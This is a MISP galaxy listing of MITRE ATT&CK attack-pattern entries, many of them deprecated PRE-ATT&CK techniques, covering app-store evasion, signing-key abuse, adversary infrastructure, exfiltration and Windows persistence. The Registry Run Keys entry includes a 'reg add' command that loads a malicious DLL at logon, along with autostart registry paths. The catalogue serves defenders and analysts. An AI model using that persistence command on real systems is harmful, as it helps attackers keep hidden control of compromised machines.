Attack Pattern
ATT&CK tactic
Authors
| Authors and/or Contributors |
|---|
| MITRE |
Test ability to evade automated mobile application security analysis performed by app stores - T1393
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)
Internal MISP references
UUID c9e85b80-39e8-42df-b275-86a2afcea9e8 which can be used as unique global reference for Test ability to evade automated mobile application security analysis performed by app stores - T1393 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1393 |
| kill_chain | ['pre-attack:test-capabilities'] |
Choose pre-compromised mobile app developer account credentials or signing keys - T1391
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
The adversary can use account credentials or signing keys of an existing mobile app developer to publish malicious updates of existing mobile apps to an application store, or to abuse the developer's identity and reputation to publish new malicious apps. Many mobile devices are configured to automatically install new versions of already-installed apps. (Citation: Fraudenlent Apps Stolen Dev Credentials)
Internal MISP references
UUID 7a265bf0-6acc-4f43-8b22-2e58b443e62e which can be used as unique global reference for Choose pre-compromised mobile app developer account credentials or signing keys - T1391 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1391 |
| kill_chain | ['pre-attack:persona-development'] |
Enumerate externally facing software applications technologies, languages, and dependencies - T1261
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Software applications will be built using different technologies, languages, and dependencies. This information may reveal vulnerabilities or opportunities to an adversary. (Citation: CommonApplicationAttacks) (Citation: WebApplicationSecurity) (Citation: SANSTop25)
Internal MISP references
UUID ef6197fd-a58a-4006-bfd6-1d7765d8409d which can be used as unique global reference for Enumerate externally facing software applications technologies, languages, and dependencies - T1261 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1261 |
| kill_chain | ['pre-attack:technical-information-gathering'] |
Obtain Apple iOS enterprise distribution key pair and certificate - T1392
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
The adversary can obtain an Apple iOS enterprise distribution key pair and certificate and use it to distribute malicious apps directly to Apple iOS devices without the need to publish the apps to the Apple App Store (where the apps could potentially be detected). (Citation: Apple Developer Enterprise Porgram Apps) (Citation: Fruit vs Zombies) (Citation: WIRELURKER) (Citation: Sideloading Change)
Internal MISP references
UUID d58f3996-e293-4f69-a2c8-0e1851cb8297 which can be used as unique global reference for Obtain Apple iOS enterprise distribution key pair and certificate - T1392 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1392 |
| kill_chain | ['pre-attack:persona-development'] |
Analyze social and business relationships, interests, and affiliations - T1295
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Social media provides insight into the target's affiliations with groups and organizations. Certification information can explain their technical associations and professional associations. Personal information can provide data for exploitation or even blackmail. (Citation: Scasny2015)
Internal MISP references
UUID ee40d054-6e83-4302-88dc-a3af98821d8d which can be used as unique global reference for Analyze social and business relationships, interests, and affiliations - T1295 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1295 |
| kill_chain | ['pre-attack:people-weakness-identification'] |
Linux and Mac File and Directory Permissions Modification - T1222.002
Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).
Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via Unix Shell Configuration Modification or tainting/hijacking other instrumental binary/configuration files via Hijack Execution Flow.(Citation: 20 macOS Common Tools and Techniques)
Internal MISP references
UUID 09b130a2-a77e-4af0-a361-f46f9aad1345 which can be used as unique global reference for Linux and Mac File and Directory Permissions Modification - T1222.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1222/002 - webarchive
- https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/ - webarchive
- https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110 - webarchive
- https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1222.002 |
| kill_chain | ['attack-macOS:defense-evasion', 'attack-Linux:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Metadata', 'Process: Process Creation'] |
| mitre_platforms | ['macOS', 'Linux'] |
Related clusters
To see the related clusters, click here.
Install and configure hardware, network, and systems - T1336
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
An adversary needs the necessary skills to set up procured equipment and software to create their desired infrastructure. (Citation: KasperskyRedOctober)
Internal MISP references
UUID 73e394e5-3d8a-40d1-ab8c-a1b4ea9db424 which can be used as unique global reference for Install and configure hardware, network, and systems - T1336 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1336 |
| kill_chain | ['pre-attack:establish-&-maintain-infrastructure'] |
Compromise 3rd party or closed-source vulnerability/exploit information - T1354
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
There is usually a delay between when a vulnerability or exploit is discovered and when it is made public. An adversary may target the systems of those known to research vulnerabilities in order to gain that knowledge for use during a different attack. (Citation: TempertonDarkHotel)
Internal MISP references
UUID 5a68c603-d7f9-4535-927e-ab56819eaa85 which can be used as unique global reference for Compromise 3rd party or closed-source vulnerability/exploit information - T1354 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1354 |
| kill_chain | ['pre-attack:build-capabilities'] |
Discover new exploits and monitor exploit-provider forums - T1350
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may need to discover new exploits when existing exploits are no longer relevant to the environment they are trying to compromise. An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. (Citation: EquationQA)
Internal MISP references
UUID 82bbd209-f516-45e0-9542-4ffbbc2a8717 which can be used as unique global reference for Discover new exploits and monitor exploit-provider forums - T1350 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1350 |
| kill_chain | ['pre-attack:build-capabilities'] |
Acquire and/or use 3rd party software services - T1330
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
A wide variety of 3rd party software services are available (e.g., Twitter, Dropbox, GoogleDocs). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LOWBALL2015)
Internal MISP references
UUID 488da8ed-2887-4ef6-a39a-5b69bc6682c6 which can be used as unique global reference for Acquire and/or use 3rd party software services - T1330 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1330 |
| kill_chain | ['pre-attack:establish-&-maintain-infrastructure'] |
Related clusters
To see the related clusters, click here.
Acquire and/or use 3rd party infrastructure services - T1307
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012)
Internal MISP references
UUID 286cc500-4291-45c2-99a1-e760db176402 which can be used as unique global reference for Acquire and/or use 3rd party infrastructure services - T1307 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1307 |
| kill_chain | ['pre-attack:adversary-opsec'] |
Related clusters
To see the related clusters, click here.
Acquire and/or use 3rd party software services - T1308
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
A wide variety of 3rd party software services are available (e.g., Twitter, Dropbox, GoogleDocs). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012) (Citation: Nemucod Facebook)
Internal MISP references
UUID 1a295f87-af63-4d94-b130-039d6221fb11 which can be used as unique global reference for Acquire and/or use 3rd party software services - T1308 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1308 |
| kill_chain | ['pre-attack:adversary-opsec'] |
Related clusters
To see the related clusters, click here.
Test signature detection for file upload/email filters - T1361
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
An adversary can test their planned method of attack against existing security products such as email filters or intrusion detection sensors (IDS). (Citation: WiredVirusTotal)
Internal MISP references
UUID c9ac5715-ee5c-4380-baf4-6f12e304ca93 which can be used as unique global reference for Test signature detection for file upload/email filters - T1361 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1361 |
| kill_chain | ['pre-attack:test-capabilities'] |
Acquire and/or use 3rd party infrastructure services - T1329
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: TrendmicroHideoutsLease)
Internal MISP references
UUID 795c1a92-3a26-453e-b99a-6a566aa94dc6 which can be used as unique global reference for Acquire and/or use 3rd party infrastructure services - T1329 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1329 |
| kill_chain | ['pre-attack:establish-&-maintain-infrastructure'] |
Related clusters
To see the related clusters, click here.
Acquire or compromise 3rd party signing certificates - T1310
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Code signing is the process of digitally signing executables or scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. (Citation: Adobe Code Signing Cert)
Internal MISP references
UUID e5164428-03ca-4336-a9a7-4d9ea1417e59 which can be used as unique global reference for Acquire or compromise 3rd party signing certificates - T1310 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1310 |
| kill_chain | ['pre-attack:adversary-opsec'] |
Related clusters
To see the related clusters, click here.
Compromise 3rd party infrastructure to support delivery - T1312
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)
Internal MISP references
UUID 4900fabf-1142-4c1f-92f5-0b590e049077 which can be used as unique global reference for Compromise 3rd party infrastructure to support delivery - T1312 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1312 |
| kill_chain | ['pre-attack:adversary-opsec'] |
Related clusters
To see the related clusters, click here.
Acquire or compromise 3rd party signing certificates - T1332
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. (Citation: DiginotarCompromise)
Internal MISP references
UUID 03f4a766-7a21-4b5e-9ccf-e0cf422ab983 which can be used as unique global reference for Acquire or compromise 3rd party signing certificates - T1332 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1332 |
| kill_chain | ['pre-attack:establish-&-maintain-infrastructure'] |
Related clusters
To see the related clusters, click here.
Compromise 3rd party infrastructure to support delivery - T1334
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)
Internal MISP references
UUID e51398e6-53dc-4e9f-a323-e54683d8672b which can be used as unique global reference for Compromise 3rd party infrastructure to support delivery - T1334 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1334 |
| kill_chain | ['pre-attack:establish-&-maintain-infrastructure'] |
Related clusters
To see the related clusters, click here.
Human performs requested action of physical nature - T1385
This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.
Through social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary. This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)
Internal MISP references
UUID fb39384c-00e4-414a-88af-e80c4904e0b8 which can be used as unique global reference for Human performs requested action of physical nature - T1385 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1385 |
| kill_chain | ['pre-attack:compromise'] |
Abuse of iOS Enterprise App Signing Key - T1445
An adversary could abuse an iOS enterprise app signing key (intended for enterprise in-house distribution of apps) to sign malicious iOS apps so that they can be installed on iOS devices without the app needing to be published on Apple's App Store. For example, Xiao describes use of this technique in (Citation: Xiao-iOS).
Detection: iOS 9 and above typically requires explicit user consent before allowing installation of applications signed with enterprise distribution keys rather than installed from Apple's App Store.
Platforms: iOS
Internal MISP references
UUID 51aedbd6-2837-4d15-aeb0-cb09f2bf22ac which can be used as unique global reference for Abuse of iOS Enterprise App Signing Key - T1445 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1445 |
Related clusters
To see the related clusters, click here.
Deliver Malicious App via Authorized App Store - T1475
Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. Mobile devices often are configured to allow application installation only from an authorized app store (e.g., Google Play Store or Apple App Store). An adversary may seek to place a malicious application in an authorized app store, enabling the application to be installed onto targeted devices.
App stores typically require developer registration and use vetting techniques to identify malicious applications. Adversaries may use these techniques against app store defenses:
Adversaries may also seek to evade vetting by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis. (Citation: Petsas) (Citation: Oberheide-Bouncer) (Citation: Percoco-Bouncer) (Citation: Wang)
Adversaries may also use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. (Citation: Oberheide-Bouncer)
Adversaries may also use control of a target's Google account to use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account. (Citation: Oberheide-RemoteInstall) (Citation: Konoth) (Only applications that are available for download through the Google Play Store can be remotely installed using this technique.)
Internal MISP references
UUID d9db3d46-66ca-44b4-9daa-1ef97cb7465a which can be used as unique global reference for Deliver Malicious App via Authorized App Store - T1475 in MISP communities and other software using the MISP galaxy
External references
- http://dl.acm.org/citation.cfm?id=2592796 - webarchive
- http://www.vvdveen.com/publications/BAndroid.pdf - webarchive
- https://attack.mitre.org/techniques/T1475 - webarchive
- https://jon.oberheide.org/blog/2010/06/25/remote-kill-and-install-on-google-android/ - webarchive
- https://jon.oberheide.org/files/summercon12-bouncer.pdf - webarchive
- https://media.blackhat.com/bh-us-12/Briefings/Percoco/BH_US_12_Percoco_Adventures_in_Bouncerland_WP.pdf - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-16.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-17.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-22.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-4.html - webarchive
- https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang_tielei - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1475 |
| kill_chain | ['mobile-attack-Android:initial-access', 'mobile-attack-iOS:initial-access'] |
| mitre_platforms | ['Android', 'iOS'] |
Device Unlock Code Guessing or Brute Force - T1459
An adversary could make educated guesses of the device lock screen's PIN/password (e.g., commonly used values, birthdays, anniversaries) or attempt a dictionary or brute force attack against it. Brute force attacks could potentially be automated (Citation: PopSci-IPBox).
Platforms: Android, iOS
Internal MISP references
UUID f296fc9c-2ff5-43ee-941e-6b49c438270a which can be used as unique global reference for Device Unlock Code Guessing or Brute Force - T1459 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1459 |
Related clusters
To see the related clusters, click here.
Assign KITs, KIQs, and/or intelligence requirements - T1238
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Once generated, Key Intelligence Topics (KITs), Key Intelligence Questions (KIQs), and/or intelligence requirements are assigned to applicable agencies and/or personnel. For example, an adversary may decide nuclear energy requirements should be assigned to a specific organization based on their mission. (Citation: AnalystsAndPolicymaking) (Citation: JP2-01)
Internal MISP references
UUID 4fad17d3-8f42-449d-ac4b-dbb4c486127d which can be used as unique global reference for Assign KITs, KIQs, and/or intelligence requirements - T1238 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1238 |
| kill_chain | ['pre-attack:priority-definition-direction'] |
Assess current holdings, needs, and wants - T1236
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Analysts assess current information available against requirements that outline needs and wants as part of the research baselining process to begin satisfying a requirement. (Citation: CyberAdvertisingChar) (Citation: CIATradecraft) (Citation: ForensicAdversaryModeling) (Citation: CyberAdversaryBehavior)
Internal MISP references
UUID 8e927b19-04a6-4aaa-a42f-4f0a53411d27 which can be used as unique global reference for Assess current holdings, needs, and wants - T1236 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1236 |
| kill_chain | ['pre-attack:priority-definition-planning'] |
Submit KITs, KIQs, and intelligence requirements - T1237
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Once they have been created, intelligence requirements, Key Intelligence Topics (KITs), and Key Intelligence Questions (KIQs) are submitted into a central management system. (Citation: ICD204) (Citation: KIT-Herring)
Internal MISP references
UUID 03da0598-ed46-4a73-bf43-0313b3522400 which can be used as unique global reference for Submit KITs, KIQs, and intelligence requirements - T1237 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1237 |
| kill_chain | ['pre-attack:priority-definition-direction'] |
Common, high volume protocols and software - T1321
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Certain types of traffic (e.g., Twitter14, HTTP) are more commonly used than others. Utilizing more common protocols and software may make an adversary's traffic more difficult to distinguish from legitimate traffic. (Citation: symantecNITRO)
Internal MISP references
UUID 0c592c79-29a7-4a94-81a4-c87eae3aead6 which can be used as unique global reference for Common, high volume protocols and software - T1321 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1321 |
| kill_chain | ['pre-attack:adversary-opsec'] |
Exfiltration Over Symmetric Encrypted Non-C2 Protocol - T1048.001
Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Symmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data.
Network protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP).
Internal MISP references
UUID 79a4052e-1a89-4b09-aea6-51f1d11fe19c which can be used as unique global reference for Exfiltration Over Symmetric Encrypted Non-C2 Protocol - T1048.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1048.001 |
| kill_chain | ['attack-Linux:exfiltration', 'attack-macOS:exfiltration', 'attack-Windows:exfiltration'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Exfiltration Over Asymmetric Encrypted Non-C2 Protocol - T1048.002
Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Asymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin.
Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol.
Internal MISP references
UUID 8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5 which can be used as unique global reference for Exfiltration Over Asymmetric Encrypted Non-C2 Protocol - T1048.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1048.002 |
| kill_chain | ['attack-Linux:exfiltration', 'attack-macOS:exfiltration', 'attack-Windows:exfiltration'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Non-traditional or less attributable payment options - T1316
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Using alternative payment options allows an adversary to hide their activities. Options include crypto currencies, barter systems, pre-paid cards or shell accounts. (Citation: Goodin300InBitcoins)
Internal MISP references
UUID b79e8a3f-a109-47c2-a0e3-564955590a3d which can be used as unique global reference for Non-traditional or less attributable payment options - T1316 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1316 |
| kill_chain | ['pre-attack:adversary-opsec'] |
Choose pre-compromised persona and affiliated accounts - T1343
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
For attacks incorporating social engineering the utilization of an on-line persona is important. Utilizing an existing persona with compromised accounts may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. (Citation: AnonHBGary) (Citation: Hacked Social Media Accounts)
Internal MISP references
UUID 9a8c47f6-ae69-4044-917d-4b1602af64d9 which can be used as unique global reference for Choose pre-compromised persona and affiliated accounts - T1343 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1343 |
| kill_chain | ['pre-attack:persona-development'] |
Malicious or Vulnerable Built-in Device Functionality - T1473
The mobile device could contain built-in functionality with malicious behavior or exploitable vulnerabilities. An adversary could deliberately insert and take advantage of the malicious behavior or could exploit inadvertent vulnerabilities. In many cases, it is difficult to be certain whether exploitable functionality is due to malicious intent or simply an inadvertent mistake.
Platforms: Android, iOS
Internal MISP references
UUID f9e4f526-ac9d-4df5-8949-833a82a1d2df which can be used as unique global reference for Malicious or Vulnerable Built-in Device Functionality - T1473 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1473 |
Related clusters
To see the related clusters, click here.
Identify vulnerabilities in third-party software libraries - T1389
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Many applications use third-party software libraries, often without full knowledge of the behavior of the libraries by the application developer. For example, mobile applications often incorporate advertising libraries to generate revenue for the application developer. Vulnerabilities in these third-party libraries could potentially be exploited in any application that uses the library, and even if the vulnerabilities are fixed, many applications may still use older, vulnerable versions of the library. (Citation: Flexera News Vulnerabilities) (Citation: Android Security Review 2015) (Citation: Android Multidex RCE)
Internal MISP references
UUID ad124f84-52d2-40e3-95dd-cfdd44eae6ef which can be used as unique global reference for Identify vulnerabilities in third-party software libraries - T1389 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1389 |
| kill_chain | ['pre-attack:technical-weakness-identification'] |
Registry Run Keys / Startup Folder - T1547.001
Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.
The following run keys are created by default on Windows systems:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnceHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)
Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.
The following Registry keys can be used to set startup folder items for persistence:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell FoldersHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell FoldersHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell FoldersHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
The following Registry keys can control automatic startup of services during boot:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnceHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnceHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RunHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run automatically for the currently logged-on user.
By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.
Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.
Internal MISP references
UUID 9efb1ea7-c37b-4595-9640-b7680cd84279 which can be used as unique global reference for Registry Run Keys / Startup Folder - T1547.001 in MISP communities and other software using the MISP galaxy
External references
- http://msdn.microsoft.com/en-us/library/aa376977 - webarchive
- https://attack.mitre.org/techniques/T1547/001 - webarchive
- https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/ - webarchive
